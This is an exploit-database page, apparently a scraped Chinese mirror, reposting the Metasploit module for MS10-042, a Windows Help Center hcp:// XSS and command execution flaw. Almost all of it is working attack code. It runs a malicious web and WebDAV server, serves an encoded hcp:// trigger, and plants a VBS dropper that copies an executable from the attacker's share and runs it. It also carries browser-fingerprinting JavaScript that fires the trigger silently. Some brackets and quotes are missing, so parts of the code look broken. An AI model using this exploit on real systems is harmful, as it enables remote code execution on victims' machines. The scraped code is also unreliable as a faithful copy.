发布 2010-09-20 漏洞条目

Microsoft Help Center – Cross-Site Scripting / Command Execution (MS10-042) (Metasploit)

Exploit Source

# $Id: ms10_042_helpctr_xss_cmd_exec.rb 10388 2010-09-20 04:37:25Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

# This module acts as an HTTP server

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::EXE

def initialize(info = {})

super(update_info(info,

'Name' => 'Microsoft Help Center XSS and Command Execution',

'Description' => %q{

Help and Support Center is the default application provided to access online

documentation for Microsoft Windows. Microsoft supports accessing help documents

directly via URLs by installing a protocol handler for the scheme "hcp". Due to

an error in validation of input to hcp:// combined with a local cross site

scripting vulnerability and a specialized mechanism to launch the XSS trigger,

arbitrary command execution can be achieved.

On IE7 on XP SP2 or SP3, code execution is automatic. If WMP9 is installed, it

can be used to launch the exploit automatically. If IE8 and WMP11, either can

be used to launch the attack, but both pop dialog boxes asking the user if

execution should continue. This exploit detects if non-intrusive mechanisms are

available and will use one if possible. In the case of both IE8 and WMP11, the

exploit defaults to using an iframe on IE8, but is configurable by setting the

DIALOGMECH option to "none" or "player".

'Author' =>

[

'Tavis Ormandy', # Original discovery

'natron' # Metasploit version

'License' => MSF_LICENSE,

'Version' => '$Revision: 10388 $',

'References' =>

[

[ 'CVE', '2010-1885' ],

[ 'OSVDB', '65264' ],

[ 'URL', 'http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/ADVISORY' ],

[ 'URL', 'http://www.microsoft.com/technet/security/advisory/2219475.mspx' ],

[ 'MSB', 'MS10-042']

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload' =>

{

'Space' => 2048,

'Platform' => 'win',

'Targets' =>

[

[ 'Automatic', { } ]

'DisclosureDate' => 'Jun 09 2010',

'DefaultTarget' => 0))

register_options(

[

OptPort.new( 'SRVPORT', [ true, "The daemon port to listen on", 80 ]),

OptString.new( 'URIPATH', [ true, "The URI to use.", "/" ]),

OptString.new( 'DIALOGMECH', [ true, "IE8/WMP11 trigger mechanism (none, iframe, or player).", "iframe"])

], self.class)

deregister_options('SSL', 'SSLVersion') # Just for now

end

def on_request_uri(cli, request)

# If there is no subdirectory in the request, we need to redirect.

if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//)

if (request.uri == '/')

subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'

else

subdir = request.uri + '/'

end

print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")

send_redirect(cli, subdir)

return

end

case request.method

when 'OPTIONS'

process_options(cli, request)

when 'PROPFIND'

process_propfind(cli, request)

when 'GET'

process_get(cli, request)

else

print_error("Unexpected request method encountered: #{request.method}")

end

def process_get(cli, request)

@my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

webdav_loc = "\\\\#{@my_host}\\#{@random_dir}\\#{@payload}"

@url_base = "http://" + @my_host

if (Regexp.new(Regexp.escape(@payload)+'$', true).match(request.uri))

print_status "Sending payload executable to target ..."

return if ((p = regenerate_payload(cli)) == nil)

data = generate_payload_exe({ :code => p.encoded })

send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })

return

end

if request.uri.match(/\.gif$/)

# "world's smallest gif"

data = "GIF89a\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00!\xF9\x04\x01"

data += "\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;"

print_status "Sending gif image to WMP at #{cli.peerhost}:#{cli.peerport} ..."

send_response(cli, data, { 'Content-TYpe' => 'image/gif' } )

end

# ASX Request Inbound

if request.uri.match(/\.asx$/)

asx = %Q|<ASX VERSION="3.0">

<ENTRY>

</ENTRY>

</ASX>

asx.gsub!(/URLBASE/, @url_base)

asx.gsub!(/STARTHELP/, @random_dir + "/" + @start_help)

asx.gsub!(/IMGFILE/, @random_dir + "/" + @img_file)

print_status("Sending asx file to #{cli.peerhost}:#{cli.peerport} ...")

send_response(cli, asx, { 'Content-Type' => 'text/html' })

return

end

# iframe request inbound from either WMP or IE7

if request.uri.match(/#{@start_help}/)

help_html = %Q|<iframe src="hcp://services/search?query=a&topic=hcp://system/sysinfo/sysinfomain.htm%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF..%5C..%5Csysinfomain.htm%u003fsvr=%3Cscript%20defer%3Eeval%28unescape%28%27COMMANDS%27%29%29%3C/script%3E">|

rand_vbs = rand_text_alpha(rand(2)+1) + ".vbs"

copy_launch = %Q^cmd /c copy #{webdav_loc} %TEMP% && %TEMP%\\#{@payload}^

vbs_content = %Q|WScript.CreateObject("WScript.Shell").Run "#{copy_launch}",0,false|

write_vbs = %Q|cmd /c echo #{vbs_content}>%TEMP%\\#{rand_vbs}|

launch_vbs = %Q|cscript %TEMP%\\#{rand_vbs}>nul|

concat_cmds = "#{write_vbs}|#{launch_vbs}"

eval_block = "Run(String.fromCharCode(#{convert_to_char_code(concat_cmds)}));"

eval_block = Rex::Text.uri_encode(Rex::Text.uri_encode(eval_block))

help_html.gsub!(/COMMANDS/, eval_block)

print_status("Sending exploit trigger to #{cli.peerhost}:#{cli.peerport} ...")

send_response(cli, help_html, { 'Content-Type' => 'text/html' })

return

end

# default initial response

js = %Q|

var asx = "URLBASE/ASXFILE";

var ifr = "URLBASE/IFRFILE";

function launchiframe(src) {

var o = document.createElement("IFRAME");

o.setAttribute("width","0");

o.setAttribute("height","0");

o.setAttribute("frameborder","0");

o.setAttribute("src",src);

document.body.appendChild(o);

}

if (window.navigator.appName == "Microsoft Internet Explorer") {

var ua = window.navigator.userAgent;

var re = new RegExp("MSIE ([0-9]{1,}[\.0-9]{0,})");

re.exec(ua)

ver = parseFloat( RegExp.$1 );

// if ie8, check WMP version

if (ver > 7) {

var o = document.createElement("OBJECT");

o.setAttribute("classid", "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6");

o.setAttribute("uiMode", "invisible");

// if wmp9, go ahead and launch

if( parseInt(o.versionInfo) < 10 ) {

o.openPlayer(asx);

// if > wmp9, only launch if user requests

} else {

DIALOGMECH

}

// if ie7, use iframe

} else {

launchiframe(ifr);

}

} else {

// if other, try iframe

launchiframe(ifr);

}

html = %Q|<html>

<head></head><body><script>JAVASCRIPTFU

</script>

</body>

</html>

case datastore['DIALOGMECH']

when "player"

mech = "o.openPlayer(asx);"

when "iframe"

mech = "launchiframe(ifr);"

when "none"

mech = ""

else

mech = ""

end

html.gsub!(/JAVASCRIPTFU/, js)

html.gsub!(/DIALOGMECH/, mech)

html.gsub!(/URLBASE/, @url_base)

html.gsub!(/ASXFILE/, @random_dir + "/" + @asx_file)

html.gsub!(/IFRFILE/, @random_dir + "/" + @start_help)

print_status("Sending exploit html to #{cli.peerhost}:#{cli.peerport} ...")

headers = {

'Content-Type' => 'text/html',

#'X-UA-Compatible' => 'IE=7'

}

send_response(cli, html, headers)

end

# OPTIONS requests sent by the WebDav Mini-Redirector

def process_options(cli, request)

print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")

headers = {

#'DASL' => '<DAV:sql>',

#'DAV' => '1, 2',

'Allow' => 'OPTIONS, GET, PROPFIND',

'Public' => 'OPTIONS, GET, PROPFIND'

}

send_response(cli, '', headers)

end

def convert_to_char_code(str)

return str.unpack('H*')[0].gsub(Regexp.new(".{#{2}}", nil, 'n')) { |s| s.hex.to_s + "," }.chop

end

# PROPFIND requests sent by the WebDav Mini-Redirector

def process_propfind(cli, request)

path = request.uri

print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport}")

body = ''

if (Regexp.new(Regexp.escape(@payload)+'$', true).match(path))

# Response for the EXE

print_status("Sending EXE multistatus for #{path} ...")

#<lp1:getcontentlength>45056</lp1:getcontentlength>

body = %Q|<?xml version="1.0" encoding="utf-8"?>

<D:multistatus xmlns:D="DAV:">

<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">

<D:href>#{path}</D:href>

<D:propstat>

<D:prop>

<lp1:resourcetype/>

<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>

<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>

<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>

<lp2:executable>F</lp2:executable>

<D:lockdiscovery/>

<D:getcontenttype>application/octet-stream</D:getcontenttype>

</D:prop>

<D:status>HTTP/1.1 200 OK</D:status>

</D:propstat>

</D:response>

</D:multistatus>

elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i)

print_status("Sending 404 for #{path} ...")

send_not_found(cli)

return

elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))

# Response for anything else (generally just /)

print_status("Sending directory multistatus for #{path} ...")

body = %Q|<?xml version="1.0" encoding="utf-8"?>

<D:multistatus xmlns:D="DAV:">

<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">

<D:href>#{path}</D:href>

<D:propstat>

<D:prop>

<lp1:resourcetype><D:collection/></lp1:resourcetype>

<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>

<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>

<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>

<D:lockdiscovery/>

<D:getcontenttype>httpd/unix-directory</D:getcontenttype>

</D:prop>

<D:status>HTTP/1.1 200 OK</D:status>

</D:propstat>

</D:response>

</D:multistatus>

else

print_status("Sending 404 for #{path} ...")

send_not_found(cli)

return

end

# send the response

resp = create_response(207, "Multi-Status")

resp.body = body

resp['Content-Type'] = 'text/xml'

cli.send_response(resp)

end

def exploit

@random_dir = rand_text_alpha(rand(2)+1)

@asx_file = rand_text_alpha(rand(2)+1) + ".asx"

@start_help = rand_text_alpha(rand(2)+1) + ".html"

@payload = rand_text_alpha(rand(2)+1) + ".exe"

@img_file = rand_text_alpha(rand(2)+1) + ".gif"

if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'

raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'

end

super

end

作者: Metasploit
日期: 2010-09-20
类别: remote
平台: windows

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